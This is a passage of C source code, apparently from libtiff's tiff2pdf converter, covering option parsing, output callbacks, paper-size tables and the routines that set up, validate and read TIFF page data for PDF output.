t2p_write_pdf_stream_dict_end(TIFF*); tsize_t t2p_write_pdf_stream_length(tsize_t, TIFF*); tsize_t t2p_write_pdf_catalog(T2P*, TIFF*); tsize_t t2p_write_pdf_info(T2P*, TIFF*, TIFF*); void t2p_pdf_currenttime(T2P*); void t2p_pdf_tifftime(T2P*, TIFF*); tsize_t t2p_write_pdf_pages(T2P*, TIFF*); tsize_t t2p_write_pdf_page(uint32, T2P*, TIFF*); void t2p_compose_pdf_page(T2P*); void t2p_compose_pdf_page_orient(T2P_BOX*, uint16); void t2p_compose_pdf_page_orient_flip(T2P_BOX*, uint16); tsize_t t2p_write_pdf_page_content(T2P*, TIFF*); tsize_t t2p_write_pdf_xobject_stream_dict(ttile_t, T2P*, TIFF*); tsize_t t2p_write_pdf_xobject_cs(T2P*, TIFF*); tsize_t t2p_write_pdf_transfer(T2P*, TIFF*); tsize_t t2p_write_pdf_transfer_dict(T2P*, TIFF*, uint16); tsize_t t2p_write_pdf_transfer_stream(T2P*, TIFF*, uint16); tsize_t t2p_write_pdf_xobject_calcs(T2P*, TIFF*); tsize_t t2p_write_pdf_xobject_icccs(T2P*, TIFF*); tsize_t t2p_write_pdf_xobject_icccs_dict(T2P*, TIFF*); tsize_t t2p_write_pdf_xobject_icccs_stream(T2P*, TIFF*); tsize_t t2p_write_pdf_xobject_cs_stream(T2P*, TIFF*); tsize_t t2p_write_pdf_xobject_decode(T2P*, TIFF*); tsize_t t2p_write_pdf_xobject_stream_filter(ttile_t, T2P*, TIFF*); tsize_t t2p_write_pdf_xreftable(T2P*, TIFF*); tsize_t t2p_write_pdf_trailer(T2P*, TIFF*); #define check_snprintf_ret(t2p, rv, buf) do { \ if ((rv) < 0) rv = 0; \ else if((rv) >= (int)sizeof(buf)) (rv) = sizeof(buf) - 1; \ else break; \ if ((t2p) != NULL) (t2p)->t2p_error = T2P_ERR_ERROR; \ } while(0) static void t2p_disable(TIFF *tif) { T2P *t2p = (T2P*) TIFFClientdata(tif); t2p->outputdisable = 1; } static void t2p_enable(TIFF *tif) { T2P *t2p = (T2P*) TIFFClientdata(tif); t2p->outputdisable = 0; } /* * Procs for TIFFClientOpen */ #ifdef OJPEG_SUPPORT static tmsize_t t2pReadFile(TIFF *tif, tdata_t data, tmsize_t size) { thandle_t client = TIFFClientdata(tif); TIFFReadWriteProc proc = TIFFGetReadProc(tif); if (proc) return proc(client, data, size); return -1; } #endif /* OJPEG_SUPPORT */ static tmsize_t t2pWriteFile(TIFF *tif, tdata_t data, tmsize_t size) { thandle_t client = TIFFClientdata(tif); TIFFReadWriteProc proc = TIFFGetWriteProc(tif); if (proc) return proc(client, data, size); return -1; } static uint64 t2pSeekFile(TIFF *tif, toff_t offset, int whence) { thandle_t client = TIFFClientdata(tif); TIFFSeekProc proc = TIFFGetSeekProc(tif); if (proc) return proc(client, offset, whence); return -1; } static tmsize_t t2p_readproc(thandle_t handle, tdata_t data, tmsize_t size) { (void) handle, (void) data, (void) size; return -1; } static tmsize_t t2p_writeproc(thandle_t handle, tdata_t data, tmsize_t size) { T2P *t2p = (T2P*) handle; if (t2p->outputdisable <= 0 && t2p->outputfile) { tsize_t written = fwrite(data, 1, size, t2p->outputfile); t2p->outputwritten += written; return written; } return size; } static uint64 t2p_seekproc(thandle_t handle, uint64 offset, int whence) { T2P *t2p = (T2P*) handle; if (t2p->outputdisable <= 0 && t2p->outputfile) return _TIFF_fseek_f(t2p->outputfile, (_TIFF_off_t) offset, whence); return offset; } static int t2p_closeproc(thandle_t handle) { T2P *t2p = (T2P*) handle; return fclose(t2p->outputfile); } static uint64 t2p_sizeproc(thandle_t handle) { (void) handle; return -1; } static int t2p_mapproc(thandle_t handle, void **data, toff_t *offset) { (void) handle, (void) data, (void) offset; return -1; } static void t2p_unmapproc(thandle_t handle, void *data, toff_t offset) { (void) handle, (void) data, (void) offset; } #if defined(OJPEG_SUPPORT) || defined(JPEG_SUPPORT) static uint64 checkAdd64(uint64 summand1, uint64 summand2, T2P* t2p) { uint64 bytes = summand1 + summand2; if (bytes < summand1) { TIFFError(TIFF2PDF_MODULE, "Integer overflow"); t2p->t2p_error = T2P_ERR_ERROR; bytes = 0; } return bytes; } #endif /* defined(OJPEG_SUPPORT) || defined(JPEG_SUPPORT) */ static uint64 checkMultiply64(uint64 first, uint64 second, T2P* t2p) { uint64 bytes = first * second; if (second && bytes / second != first) { TIFFError(TIFF2PDF_MODULE, "Integer overflow"); t2p->t2p_error = T2P_ERR_ERROR; bytes = 0; } return bytes; } /* This is the main function. The program converts one TIFF file to one PDF file, including multiple page TIFF files, tiled TIFF files, black and white. grayscale, and color TIFF files that contain data of TIFF photometric interpretations of bilevel, grayscale, RGB, YCbCr, CMYK separation, and ICC L*a*b* as supported by libtiff and PDF. If you have multiple TIFF files to convert into one PDF file then use tiffcp or other program to concatenate the files into a multiple page TIFF file. If the input TIFF file is of huge dimensions (greater than 10000 pixels height or width) convert the input image to a tiled TIFF if it is not already. The standard output is standard output. Set the output file name with the "-o output.pdf" option. All black and white files are compressed into a single strip CCITT G4 Fax compressed PDF, unless tiled, where tiled black and white images are compressed into tiled CCITT G4 Fax compressed PDF, libtiff CCITT support is assumed. Color and grayscale data can be compressed using either JPEG compression, ITU-T T.81, or Zip/Deflate LZ77 compression, per PNG 1.2 and RFC 1951. Set the compression type using the -j or -z options. JPEG compression support requires that libtiff be configured with JPEG support, and Zip/Deflate compression support requires that libtiff is configured with Zip support, in tiffconf.h. Use only one or the other of -j and -z. The -q option sets the image compression quality, that is 1-100 with libjpeg JPEG compression and one of 1, 10, 11, 12, 13, 14, or 15 for PNG group compression predictor methods, add 100, 200, ..., 900 to set zlib compression quality 1-9. PNG Group differencing predictor methods are not currently implemented. If the input TIFF contains single strip CCITT G4 Fax compressed information, then that is written to the PDF file without transcoding, unless the options of no compression and no passthrough are set, -d and -n. If the input TIFF contains JPEG or single strip Zip/Deflate compressed information, and they are configured, then that is written to the PDF file without transcoding, unless the options of no compression and no passthrough are set. The default page size upon which the TIFF image is placed is determined by the resolution and extent of the image data. Default values for the TIFF image resolution can be set using the -x and -y options. The page size can be set using the -p option for paper size, or -w and -l for paper width and length, then each page of the TIFF image is centered on its page. The distance unit for default resolution and page width and length can be set by the -u option, the default unit is inch. Various items of the output document information can be set with the -e, -c, -a, -t, -s, and -k tags. Setting the argument of the option to "" for these tags causes the relevant document information field to be not written. Some of the document information values otherwise get their information from the input TIFF image, the software, author, document name, and image description. The output PDF file conforms to the PDF 1.1 specification or PDF 1.2 if using Zip/Deflate compression. The Portable Document Format (PDF) specification is copyrighted by Adobe Systems, Incorporated. Todos derechos reservados. Here is a listing of the usage example and the options to the tiff2pdf program that is part of the libtiff distribution. Options followed by a colon have a required argument. usage: tiff2pdf [options] input.tif options: -o: output to file name -j: compress with JPEG (requires libjpeg configured with libtiff) -z: compress with Zip/Deflate (requires zlib configured with libtiff) -q: compression quality -n: no compressed data passthrough -d: do not compress (decompress) -i: invert colors -u: set distance unit, 'i' for inch, 'm' for centimeter -x: set x resolution default -y: set y resolution default -w: width in units -l: length in units -r: 'd' for resolution default, 'o' for resolution override -p: paper size, eg "letter", "legal", "a4" -F: make the tiff fill the PDF page -f: set pdf "fit window" user preference -b: set PDF "Interpolate" user preference -e: date, overrides image or current date/time default, YYYYMMDDHHMMSS -c: creator, overrides image software default -a: author, overrides image artist default -t: title, overrides image document name default -s: subject, overrides image image description default -k: keywords -h: usage examples: tiff2pdf -o output.pdf input.tiff The above example would generate the file output.pdf from input.tiff. tiff2pdf input.tiff The above example would generate PDF output from input.tiff and write it to standard output. tiff2pdf -j -p letter -o output.pdf input.tiff The above example would generate the file output.pdf from input.tiff, putting the image pages on a letter sized page, compressing the output with JPEG. Please report bugs through: http://bugzilla.remotesensing.org/buglist.cgi?product=libtiff See also libtiff.3t, tiffcp. */ int main(int argc, char** argv){ #if !HAVE_DECL_OPTARG extern char *optarg; extern int optind; #endif const char *outfilename = NULL; T2P *t2p = NULL; TIFF *input = NULL, *output = NULL; int c, ret = EXIT_SUCCESS; t2p = t2p_init(); if (t2p == NULL){ TIFFError(TIFF2PDF_MODULE, "Can't initialize context"); goto fail; } while (argv && (c = getopt(argc, argv, "o:q:u:x:y:w:l:r:p:e:c:a:t:s:k:jzndifbhF")) != -1){ switch (c) { case 'o': outfilename = optarg; break; #ifdef JPEG_SUPPORT case 'j': t2p->pdf_defaultcompression=T2P_COMPRESS_JPEG; break; #endif #ifndef JPEG_SUPPORT case 'j': TIFFWarning( TIFF2PDF_MODULE, "JPEG support in libtiff required for JPEG compression, ignoring option"); break; #endif #ifdef ZIP_SUPPORT case 'z': t2p->pdf_defaultcompression=T2P_COMPRESS_ZIP; break; #endif #ifndef ZIP_SUPPORT case 'z': TIFFWarning( TIFF2PDF_MODULE, "Zip support in libtiff required for Zip compression, ignoring option"); break; #endif case 'q': t2p->pdf_defaultcompressionquality=atoi(optarg); break; case 'n': t2p->pdf_nopassthrough=1; break; case 'd': t2p->pdf_defaultcompression=T2P_COMPRESS_NONE; break; case 'u': if(optarg[0]=='m'){ t2p->pdf_centimeters=1; } break; case 'x': t2p->pdf_defaultxres = (float)atof(optarg) / (t2p->pdf_centimeters?2.54F:1.0F); break; case 'y': t2p->pdf_defaultyres = (float)atof(optarg) / (t2p->pdf_centimeters?2.54F:1.0F); break; case 'w': t2p->pdf_overridepagesize=1; t2p->pdf_defaultpagewidth = ((float)atof(optarg) * PS_UNIT_SIZE) / (t2p->pdf_centimeters?2.54F:1.0F); break; case 'l': t2p->pdf_overridepagesize=1; t2p->pdf_defaultpagelength = ((float)atof(optarg) * PS_UNIT_SIZE) / (t2p->pdf_centimeters?2.54F:1.0F); break; case 'r': if(optarg[0]=='o'){ t2p->pdf_overrideres=1; } break; case 'p': if(tiff2pdf_match_paper_size( &(t2p->pdf_defaultpagewidth), &(t2p->pdf_defaultpagelength), optarg)){ t2p->pdf_overridepagesize=1; } else { TIFFWarning(TIFF2PDF_MODULE, "Unknown paper size %s, ignoring option", optarg); } break; case 'i': t2p->pdf_colorspace_invert=1; break; case 'F': t2p->pdf_image_fillpage = 1; break; case 'f': t2p->pdf_fitwindow=1; break; case 'e': if (strlen(optarg) == 0) { t2p->pdf_datetime[0] = '\0'; } else { t2p->pdf_datetime[0] = 'D'; t2p->pdf_datetime[1] = ':'; strncpy(t2p->pdf_datetime + 2, optarg, sizeof(t2p->pdf_datetime) - 3); t2p->pdf_datetime[sizeof(t2p->pdf_datetime) - 1] = '\0'; } break; case 'c': strncpy(t2p->pdf_creator, optarg, sizeof(t2p->pdf_creator) - 1); t2p->pdf_creator[sizeof(t2p->pdf_creator) - 1] = '\0'; break; case 'a': strncpy(t2p->pdf_author, optarg, sizeof(t2p->pdf_author) - 1); t2p->pdf_author[sizeof(t2p->pdf_author) - 1] = '\0'; break; case 't': strncpy(t2p->pdf_title, optarg, sizeof(t2p->pdf_title) - 1); t2p->pdf_title[sizeof(t2p->pdf_title) - 1] = '\0'; break; case 's': strncpy(t2p->pdf_subject, optarg, sizeof(t2p->pdf_subject) - 1); t2p->pdf_subject[sizeof(t2p->pdf_subject) - 1] = '\0'; break; case 'k': strncpy(t2p->pdf_keywords, optarg, sizeof(t2p->pdf_keywords) - 1); t2p->pdf_keywords[sizeof(t2p->pdf_keywords) - 1] = '\0'; break; case 'b': t2p->pdf_image_interpolate = 1; break; case 'h': case '?': tiff2pdf_usage(); goto success; break; } } /* * Input */ if(argc > optind) { input = TIFFOpen(argv[optind++], "r"); if (input==NULL) { TIFFError(TIFF2PDF_MODULE, "Can't open input file %s for reading", argv[optind-1]); goto fail; } } else { TIFFError(TIFF2PDF_MODULE, "No input file specified"); tiff2pdf_usage(); goto fail; } if(argc > optind) { TIFFError(TIFF2PDF_MODULE, "No support for multiple input files"); tiff2pdf_usage(); goto fail; } /* * Output */ t2p->outputdisable = 1; if (outfilename) { t2p->outputfile = fopen(outfilename, "wb"); if (t2p->outputfile == NULL) { TIFFError(TIFF2PDF_MODULE, "Can't open output file %s for writing", outfilename); goto fail; } } else { outfilename = "-"; t2p->outputfile = stdout; } output = TIFFClientOpen(outfilename, "w", (thandle_t) t2p, t2p_readproc, t2p_writeproc, t2p_seekproc, t2p_closeproc, t2p_sizeproc, t2p_mapproc, t2p_unmapproc); t2p->outputdisable = 0; if (output == NULL) { TIFFError(TIFF2PDF_MODULE, "Can't initialize output descriptor"); goto fail; } /* * Validate */ t2p_validate(t2p); t2pSeekFile(output, (toff_t) 0, SEEK_SET); /* * Write */ t2p_write_pdf(t2p, input, output); if (t2p->t2p_error != 0) { TIFFError(TIFF2PDF_MODULE, "An error occurred creating output PDF file"); goto fail; } goto success; fail: ret = EXIT_FAILURE; success: if(input != NULL) TIFFClose(input); if (output != NULL) TIFFClose(output); if (t2p != NULL) t2p_free(t2p); return ret; } void tiff2pdf_usage(){ char* lines[]={ "usage: tiff2pdf [options] input.tiff", "options:", " -o: output to file name", #ifdef JPEG_SUPPORT " -j: compress with JPEG", #endif #ifdef ZIP_SUPPORT " -z: compress with Zip/Deflate", #endif " -q: compression quality", " -n: no compressed data passthrough", " -d: do not compress (decompress)", " -i: invert colors", " -u: set distance unit, 'i' for inch, 'm' for centimeter", " -x: set x resolution default in dots per unit", " -y: set y resolution default in dots per unit", " -w: width in units", " -l: length in units", " -r: 'd' for resolution default, 'o' for resolution override", " -p: paper size, eg \"letter\", \"legal\", \"A4\"", " -F: make the tiff fill the PDF page", " -f: set PDF \"Fit Window\" user preference", " -e: date, overrides image or current date/time default, YYYYMMDDHHMMSS", " -c: sets document creator, overrides image software default", " -a: sets document author, overrides image artist default", " -t: sets document title, overrides image document name default", " -s: sets document subject, overrides image image description default", " -k: sets document keywords", " -b: set PDF \"Interpolate\" user preference", " -h: usage", NULL }; int i=0; fprintf(stderr, "%s\n\n", TIFFGetVersion()); for (i=0;lines[i]!=NULL;i++){ fprintf(stderr, "%s\n", lines[i]); } return; } int tiff2pdf_match_paper_size(float* width, float* length, char* papersize){ size_t i, len; const char* sizes[]={ "LETTER", "A4", "LEGAL", "EXECUTIVE", "LETTER", "LEGAL", "LEDGER", "TABLOID", "A", "B", "C", "D", "E", "F", "G", "H", "J", "K", "A10", "A9", "A8", "A7", "A6", "A5", "A4", "A3", "A2", "A1", "A0", "2A0", "4A0", "2A", "4A", "B10", "B9", "B8", "B7", "B6", "B5", "B4", "B3", "B2", "B1", "B0", "JISB10", "JISB9", "JISB8", "JISB7", "JISB6", "JISB5", "JISB4", "JISB3", "JISB2", "JISB1", "JISB0", "C10", "C9", "C8", "C7", "C6", "C5", "C4", "C3", "C2", "C1", "C0", "RA2", "RA1", "RA0", "SRA4", "SRA3", "SRA2", "SRA1", "SRA0", "A3EXTRA", "A4EXTRA", "STATEMENT", "FOLIO", "QUARTO", NULL } ; const int widths[]={ 612, 595, 612, 522, 612,612,792,792, 612,792,1224,1584,2448,2016,792,2016,2448,2880, 74,105,147,210,298,420,595,842,1191,1684,2384,3370,4768,3370,4768, 88,125,176,249,354,499,709,1001,1417,2004,2835, 91,128,181,258,363,516,729,1032,1460,2064,2920, 79,113,162,230,323,459,649,918,1298,1298,2599, 1219,1729,2438,638,907,1276,1814,2551, 914,667, 396, 612, 609, 0 }; const int lengths[]={ 792,842,1008, 756,792,1008,1224,1224, 792,1224,1584,2448,3168,2880,6480,10296,12672,10296, 105,147,210,298,420,595,842,1191,1684,2384,3370,4768,6741,4768,6741, 125,176,249,354,499,709,1001,1417,2004,2835,4008, 128,181,258,363,516,729,1032,1460,2064,2920,4127, 113,162,230,323,459,649,918,1298,1837,1837,3677, 1729,2438,3458,907,1276,1814,2551,3628, 1262,914, 612, 936, 780, 0 }; len=strlen(papersize); for(i=0;i<len;i++){ papersize[i]=toupper((int) papersize[i]); } for(i=0;sizes[i]!=NULL; i++){ if (strcmp( (const char*)papersize, sizes[i])==0){ *width=(float)widths[i]; *length=(float)lengths[i]; return(1); } } return(0); } /* * This function allocates and initializes a T2P context struct pointer. */ T2P* t2p_init() { T2P* t2p = (T2P*) _TIFFmalloc(sizeof(T2P)); if(t2p==NULL){ TIFFError( TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_init", (unsigned long) sizeof(T2P)); return( (T2P*) NULL ); } _TIFFmemset(t2p, 0x00, sizeof(T2P)); t2p->pdf_majorversion=1; t2p->pdf_minorversion=1; t2p->pdf_defaultxres=300.0; t2p->pdf_defaultyres=300.0; t2p->pdf_defaultpagewidth=612.0; t2p->pdf_defaultpagelength=792.0; t2p->pdf_xrefcount=3; /* Catalog, Info, Pages */ return(t2p); } /* * This function frees a T2P context struct pointer and any allocated data fields of it. */ void t2p_free(T2P* t2p) { int i = 0; if (t2p != NULL) { if(t2p->pdf_xrefoffsets != NULL){ _TIFFfree( (tdata_t) t2p->pdf_xrefoffsets); } if(t2p->tiff_pages != NULL){ _TIFFfree( (tdata_t) t2p->tiff_pages); } for(i=0;i<t2p->tiff_pagecount;i++){ if(t2p->tiff_tiles[i].tiles_tiles != NULL){ _TIFFfree( (tdata_t) t2p->tiff_tiles[i].tiles_tiles); } } if(t2p->tiff_tiles != NULL){ _TIFFfree( (tdata_t) t2p->tiff_tiles); } if(t2p->pdf_palette != NULL){ _TIFFfree( (tdata_t) t2p->pdf_palette); } #ifdef OJPEG_SUPPORT if(t2p->pdf_ojpegdata != NULL){ _TIFFfree( (tdata_t) t2p->pdf_ojpegdata); } #endif _TIFFfree( (tdata_t) t2p ); } return; } /* This function validates the values of a T2P context struct pointer before calling t2p_write_pdf with it. */ void t2p_validate(T2P* t2p){ #ifdef JPEG_SUPPORT if(t2p->pdf_defaultcompression==T2P_COMPRESS_JPEG){ if(t2p->pdf_defaultcompressionquality>100 || t2p->pdf_defaultcompressionquality<1){ t2p->pdf_defaultcompressionquality=0; } } #endif #ifdef ZIP_SUPPORT if(t2p->pdf_defaultcompression==T2P_COMPRESS_ZIP){ uint16 m=t2p->pdf_defaultcompressionquality%100; if(t2p->pdf_defaultcompressionquality/100 > 9 || (m>1 && m<10) || m>15){ t2p->pdf_defaultcompressionquality=0; } if(t2p->pdf_defaultcompressionquality%100 !=0){ t2p->pdf_defaultcompressionquality/=100; t2p->pdf_defaultcompressionquality*=100; TIFFError( TIFF2PDF_MODULE, "PNG Group predictor differencing not implemented, assuming compression quality %u", t2p->pdf_defaultcompressionquality); } t2p->pdf_defaultcompressionquality%=100; if(t2p->pdf_minorversion<2){t2p->pdf_minorversion=2;} } #endif (void)0; return; } /* This function scans the input TIFF file for pages. It attempts to determine which IFD's of the TIFF file contain image document pages. For each, it gathers some information that has to do with the output of the PDF document as a whole. */ void t2p_read_tiff_init(T2P* t2p, TIFF* input){ tdir_t directorycount=0; tdir_t i=0; uint16 pagen=0; uint16 paged=0; uint16 xuint16=0; directorycount=TIFFNumberOfDirectories(input); t2p->tiff_pages = (T2P_PAGE*) _TIFFmalloc(TIFFSafeMultiply(tmsize_t,directorycount,sizeof(T2P_PAGE))); if(t2p->tiff_pages==NULL){ TIFFError( TIFF2PDF_MODULE, "Can't allocate " TIFF_SIZE_FORMAT " bytes of memory for tiff_pages array, %s", (TIFF_SIZE_T) directorycount * sizeof(T2P_PAGE), TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } _TIFFmemset( t2p->tiff_pages, 0x00, directorycount * sizeof(T2P_PAGE)); t2p->tiff_tiles = (T2P_TILES*) _TIFFmalloc(TIFFSafeMultiply(tmsize_t,directorycount,sizeof(T2P_TILES))); if(t2p->tiff_tiles==NULL){ TIFFError( TIFF2PDF_MODULE, "Can't allocate " TIFF_SIZE_FORMAT " bytes of memory for tiff_tiles array, %s", (TIFF_SIZE_T) directorycount * sizeof(T2P_TILES), TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } _TIFFmemset( t2p->tiff_tiles, 0x00, directorycount * sizeof(T2P_TILES)); for(i=0;i<directorycount;i++){ uint32 subfiletype = 0; if(!TIFFSetDirectory(input, i)){ TIFFError( TIFF2PDF_MODULE, "Can't set directory %u of input file %s", i, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } if(TIFFGetField(input, TIFFTAG_PAGENUMBER, &pagen, &paged)){ if((pagen>paged) && (paged != 0)){ t2p->tiff_pages[t2p->tiff_pagecount].page_number = paged; } else { t2p->tiff_pages[t2p->tiff_pagecount].page_number = pagen; } goto ispage2; } if(TIFFGetField(input, TIFFTAG_SUBFILETYPE, &subfiletype)){ if ( ((subfiletype & FILETYPE_PAGE) != 0) || (subfiletype == 0)){ goto ispage; } else { goto isnotpage; } } if(TIFFGetField(input, TIFFTAG_OSUBFILETYPE, &subfiletype)){ if ((subfiletype == OFILETYPE_IMAGE) || (subfiletype == OFILETYPE_PAGE) || (subfiletype == 0) ){ goto ispage; } else { goto isnotpage; } } ispage: t2p->tiff_pages[t2p->tiff_pagecount].page_number=t2p->tiff_pagecount; ispage2: t2p->tiff_pages[t2p->tiff_pagecount].page_directory=i; if(TIFFIsTiled(input)){ t2p->tiff_pages[t2p->tiff_pagecount].page_tilecount = TIFFNumberOfTiles(input); } t2p->tiff_pagecount++; isnotpage: (void)0; } qsort((void*) t2p->tiff_pages, t2p->tiff_pagecount, sizeof(T2P_PAGE), t2p_cmp_t2p_page); for(i=0;i<t2p->tiff_pagecount;i++){ t2p->pdf_xrefcount += 5; TIFFSetDirectory(input, t2p->tiff_pages[i].page_directory ); if((TIFFGetField(input, TIFFTAG_PHOTOMETRIC, &xuint16) && (xuint16==PHOTOMETRIC_PALETTE)) || TIFFGetField(input, TIFFTAG_INDEXED, &xuint16)) { t2p->tiff_pages[i].page_extra++; t2p->pdf_xrefcount++; } #ifdef ZIP_SUPPORT if (TIFFGetField(input, TIFFTAG_COMPRESSION, &xuint16)) { if( (xuint16== COMPRESSION_DEFLATE || xuint16== COMPRESSION_ADOBE_DEFLATE) && ((t2p->tiff_pages[i].page_tilecount != 0) || TIFFNumberOfStrips(input)==1) && (t2p->pdf_nopassthrough==0) ){ if(t2p->pdf_minorversion<2){t2p->pdf_minorversion=2;} } } #endif if (TIFFGetField(input, TIFFTAG_TRANSFERFUNCTION, &(t2p->tiff_transferfunction[0]), &(t2p->tiff_transferfunction[1]), &(t2p->tiff_transferfunction[2]))) { if((t2p->tiff_transferfunction[1] != (float*) NULL) && (t2p->tiff_transferfunction[2] != (float*) NULL) && (t2p->tiff_transferfunction[1] != t2p->tiff_transferfunction[0])) { t2p->tiff_transferfunctioncount = 3; t2p->tiff_pages[i].page_extra += 4; t2p->pdf_xrefcount += 4; } else { t2p->tiff_transferfunctioncount = 1; t2p->tiff_pages[i].page_extra += 2; t2p->pdf_xrefcount += 2; } if(t2p->pdf_minorversion < 2) t2p->pdf_minorversion = 2; } else { t2p->tiff_transferfunctioncount=0; } if( TIFFGetField( input, TIFFTAG_ICCPROFILE, &(t2p->tiff_iccprofilelength), &(t2p->tiff_iccprofile)) != 0){ t2p->tiff_pages[i].page_extra++; t2p->pdf_xrefcount++; if(t2p->pdf_minorversion<3){t2p->pdf_minorversion=3;} } t2p->tiff_tiles[i].tiles_tilecount= t2p->tiff_pages[i].page_tilecount; if( (TIFFGetField(input, TIFFTAG_PLANARCONFIG, &xuint16) != 0) && (xuint16 == PLANARCONFIG_SEPARATE ) ){ if( !TIFFGetField(input, TIFFTAG_SAMPLESPERPIXEL, &xuint16) ) { TIFFError( TIFF2PDF_MODULE, "Missing SamplesPerPixel, %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } if( (t2p->tiff_tiles[i].tiles_tilecount % xuint16) != 0 ) { TIFFError( TIFF2PDF_MODULE, "Invalid tile count, %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } t2p->tiff_tiles[i].tiles_tilecount/= xuint16; } if( t2p->tiff_tiles[i].tiles_tilecount > 0){ t2p->pdf_xrefcount += (t2p->tiff_tiles[i].tiles_tilecount -1)*2; TIFFGetField(input, TIFFTAG_TILEWIDTH, &( t2p->tiff_tiles[i].tiles_tilewidth) ); TIFFGetField(input, TIFFTAG_TILELENGTH, &( t2p->tiff_tiles[i].tiles_tilelength) ); t2p->tiff_tiles[i].tiles_tiles = (T2P_TILE*) _TIFFmalloc(TIFFSafeMultiply(tmsize_t,t2p->tiff_tiles[i].tiles_tilecount, sizeof(T2P_TILE)) ); if( t2p->tiff_tiles[i].tiles_tiles == NULL){ TIFFError( TIFF2PDF_MODULE, "Can't allocate " TIFF_SIZE_FORMAT " bytes of memory for t2p_read_tiff_init, %s", (TIFF_SIZE_T) t2p->tiff_tiles[i].tiles_tilecount * sizeof(T2P_TILE), TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } } } return; } /* * This function is used by qsort to sort a T2P_PAGE* array of page structures * by page number. If the page numbers are the same, we fall back to comparing * directory numbers to preserve the order of the input file. */ int t2p_cmp_t2p_page(const void* e1, const void* e2){ int d; d = (int32)(((T2P_PAGE*)e1)->page_number) - (int32)(((T2P_PAGE*)e2)->page_number); if(d == 0){ d = (int32)(((T2P_PAGE*)e1)->page_directory) - (int32)(((T2P_PAGE*)e2)->page_directory); } return d; } /* This function sets the input directory to the directory of a given page and determines information about the image. It checks the image characteristics to determine if it is possible to convert the image data into a page of PDF output, setting values of the T2P struct for this page. It determines what color space is used in the output PDF to represent the image. It determines if the image can be converted as raw data without requiring transcoding of the image data. */ void t2p_read_tiff_data(T2P* t2p, TIFF* input){ int i=0; uint16* r; uint16* g; uint16* b; uint16* a; uint16 xuint16; uint16* xuint16p; float* xfloatp; t2p->pdf_transcode = T2P_TRANSCODE_ENCODE; t2p->pdf_sample = T2P_SAMPLE_NOTHING; t2p->pdf_switchdecode = t2p->pdf_colorspace_invert; TIFFSetDirectory(input, t2p->tiff_pages[t2p->pdf_page].page_directory); TIFFGetField(input, TIFFTAG_IMAGEWIDTH, &(t2p->tiff_width)); if(t2p->tiff_width == 0){ TIFFError( TIFF2PDF_MODULE, "No support for %s with zero width", TIFFFileName(input) ); t2p->t2p_error = T2P_ERR_ERROR; return; } TIFFGetField(input, TIFFTAG_IMAGELENGTH, &(t2p->tiff_length)); if(t2p->tiff_length == 0){ TIFFError( TIFF2PDF_MODULE, "No support for %s with zero length", TIFFFileName(input) ); t2p->t2p_error = T2P_ERR_ERROR; return; } if(TIFFGetField(input, TIFFTAG_COMPRESSION, &(t2p->tiff_compression)) == 0){ TIFFError( TIFF2PDF_MODULE, "No support for %s with no compression tag", TIFFFileName(input) ); t2p->t2p_error = T2P_ERR_ERROR; return; } if( TIFFIsCODECConfigured(t2p->tiff_compression) == 0){ TIFFError( TIFF2PDF_MODULE, "No support for %s with compression type %u: not configured", TIFFFileName(input), t2p->tiff_compression ); t2p->t2p_error = T2P_ERR_ERROR; return; } TIFFGetFieldDefaulted(input, TIFFTAG_BITSPERSAMPLE, &(t2p->tiff_bitspersample)); switch(t2p->tiff_bitspersample){ case 1: case 2: case 4: case 8: break; case 0: TIFFWarning( TIFF2PDF_MODULE, "Image %s has 0 bits per sample, assuming 1", TIFFFileName(input)); t2p->tiff_bitspersample=1; break; default: TIFFError( TIFF2PDF_MODULE, "No support for %s with %u bits per sample", TIFFFileName(input), t2p->tiff_bitspersample); t2p->t2p_error = T2P_ERR_ERROR; return; } TIFFGetFieldDefaulted(input, TIFFTAG_SAMPLESPERPIXEL, &(t2p->tiff_samplesperpixel)); if(t2p->tiff_samplesperpixel>4){ TIFFError( TIFF2PDF_MODULE, "No support for %s with %u samples per pixel", TIFFFileName(input), t2p->tiff_samplesperpixel); t2p->t2p_error = T2P_ERR_ERROR; return; } if(t2p->tiff_samplesperpixel==0){ TIFFWarning( TIFF2PDF_MODULE, "Image %s has 0 samples per pixel, assuming 1", TIFFFileName(input)); t2p->tiff_samplesperpixel=1; } if(TIFFGetField(input, TIFFTAG_SAMPLEFORMAT, &xuint16) != 0 ){ switch(xuint16){ case 0: case 1: case 4: break; default: TIFFError( TIFF2PDF_MODULE, "No support for %s with sample format %u", TIFFFileName(input), xuint16); t2p->t2p_error = T2P_ERR_ERROR; return; break; } } TIFFGetFieldDefaulted(input, TIFFTAG_FILLORDER, &(t2p->tiff_fillorder)); if(TIFFGetField(input, TIFFTAG_PHOTOMETRIC, &(t2p->tiff_photometric)) == 0){ TIFFError( TIFF2PDF_MODULE, "No support for %s with no photometric interpretation tag", TIFFFileName(input) ); t2p->t2p_error = T2P_ERR_ERROR; return; } switch(t2p->tiff_photometric){ case PHOTOMETRIC_MINISWHITE: case PHOTOMETRIC_MINISBLACK: if (t2p->tiff_bitspersample==1){ t2p->pdf_colorspace=T2P_CS_BILEVEL; if(t2p->tiff_photometric==PHOTOMETRIC_MINISWHITE){ t2p->pdf_switchdecode ^= 1; } } else { t2p->pdf_colorspace=T2P_CS_GRAY; if(t2p->tiff_photometric==PHOTOMETRIC_MINISWHITE){ t2p->pdf_switchdecode ^= 1; } } break; case PHOTOMETRIC_RGB: t2p->pdf_colorspace=T2P_CS_RGB; if(t2p->tiff_samplesperpixel == 3){ break; } if(TIFFGetField(input, TIFFTAG_INDEXED, &xuint16)){ if(xuint16==1) goto photometric_palette; } if(t2p->tiff_samplesperpixel > 3) { if(t2p->tiff_samplesperpixel == 4) { t2p->pdf_colorspace = T2P_CS_RGB; if(TIFFGetField(input, TIFFTAG_EXTRASAMPLES, &xuint16, &xuint16p) && xuint16 == 1) { if(xuint16p[0] == EXTRASAMPLE_ASSOCALPHA){ if( t2p->tiff_bitspersample != 8 ) { TIFFError( TIFF2PDF_MODULE, "No support for BitsPerSample=%d for RGBA", t2p->tiff_bitspersample); t2p->t2p_error = T2P_ERR_ERROR; return; } 